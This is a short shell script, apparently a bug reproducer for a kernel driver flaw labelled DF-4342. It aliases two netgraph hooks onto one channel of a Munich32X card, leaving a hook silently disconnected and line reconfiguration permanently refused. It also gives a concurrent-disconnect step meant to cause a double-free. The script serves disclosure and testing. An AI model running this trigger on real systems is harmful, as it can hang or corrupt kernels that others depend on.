#!/bin/sh
# DF-4342 trigger: channel aliasing in ngmn_newhook.
# REQUIRES: mn0 node (Munich32X card), root, E1 framing (default).
# Deterministic (no racing needed) for the aliasing/blackhole/nhooks part;
# run the last two rmhooks concurrently for the double-free variant.

set -u
NODE=${1:-mn0:}

echo "== 1. create hook A (chan 2, DOWN) =="
ngctl mkpeer ${NODE} echo ts2 downstream || exit 1

echo "== 2. create hook B aliasing chan 2 (EBUSY check skipped while DOWN) =="
ngctl mkpeer ${NODE} echo ts2-3 downstream2 || { echo "EXPECTED: accepted, got EBUSY -> not vulnerable"; exit 1; }

echo "== 3. both hooks should now be listed =="
ngctl show ${NODE}

echo "== 4. connect A (arms channel), connect B (silent success) =="
ngctl connect ${NODE} ${NODE}echo: ts2 data 2>/dev/null
ngctl connect ${NODE} ${NODE}echo: ts2-3 data 2>/dev/null

echo "== 5. full teardown of A while B is still connected =="
ngctl rmhook ${NODE} ts2

echo "== 6. B is now blackholed; nhooks is stuck > 0 =="
echo "sending on ts2-3 (counters frozen):"
ngctl show ${NODE}

echo "== 7. line reconfiguration refused forever =="
ngctl msg ${NODE} textconfig "line e1u" && echo "UNEXPECTED: accepted" || echo "EXPECTED: 'Cannot change line when N hooks open'"

echo
echo "== double-free variant (concurrent aliased disconnects) =="
echo "ngctl rmhook ${NODE} ts2   &  ngctl rmhook ${NODE} ts2-3 &   # run on hw"
exit 0